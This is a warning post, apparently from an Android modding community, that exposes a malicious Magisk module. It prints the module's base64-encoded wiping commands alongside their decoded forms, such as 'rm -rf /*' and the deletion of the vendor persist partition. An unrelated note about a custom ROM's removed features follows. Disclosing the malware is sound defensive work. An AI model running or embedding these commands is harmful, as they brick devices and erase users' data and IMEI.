🚨 ALERT: Malicious Magisk Module Exposed! 🚨

Y’all, I found a dangerous module (zygisk next pro) that can wreck your phone. If you’re into Android modding, beware of this one before it wrecks your device.

What Does It Do and How Does It Hide the Damage?

This module uses base64 encoding to hide dangerous commands:

1. Wipes Everything on Your Phone

Encoded Command: cm0gLXJmIC8qCg==

Decoded Command: rm -rf /*

Effect: Deletes everything—apps, files, system—turns your phone into a brick.

2. Destroys Critical Hardware Data

Encoded Command: cm0gLXJmIC9tbnQvdmVuZG9yL3BlcnNpc3QvKiAmCg==

Decoded Command: rm -rf /mnt/vendor/persist/*

Effect: Destroys key data like Wi-Fi settings and IMEI. No Wi-Fi, no calls.



3. Scrambles Your Data Forever

Encoded Command: L2Rldi9ibG9jay9ieS1uYW1lL3VzZXJkYXRhCg==

Decoded Command: /dev/block/by-name/userdata

Effect: Overwrites your data with junk. Photos, videos, files—gone for good

Where Is It From?

This malicious module is hosted on GitHub and spread across various telegram groups.

What Should You Do?

1. Don’t install random Magisk modules unless you trust the source.

2. Share this post with anyone you know who mods their phone. Let’s stop this scam from spreading.

~ Regards // Mona

These scams and malicious modules will keep coming, constantly changing their tactics.
The only way to stop them is to understand your phone is more valuable than any customization or module. Stop flashing modules from untrusted sources or those you don’t fully trust. Your phone’s security comes first.

Edit: The malicious modules have been taken down from GitHub. Thank y'all for reporting. Keep in mind, the zip still exists and has been circulated in various Telegram channels.

if you havent heard already I am going official for YAAP.

although due to restrictions this is what will be removed:

- SideSense
- KernelSU
- AC4 Playback support (using stock audio HAL doesnt allow us to without patches that they dont offer) ( it worked out lol. i didnt need patches )
- PreShipped sony apps (camera is still there)

and more that i have probably forgotten.

although each of these has an alternative. Theres a magisk module for sidesense available that i'll share (freeform may not work. it needs a mod)
you can use apatch instead of KSU and install the sony apps manually.
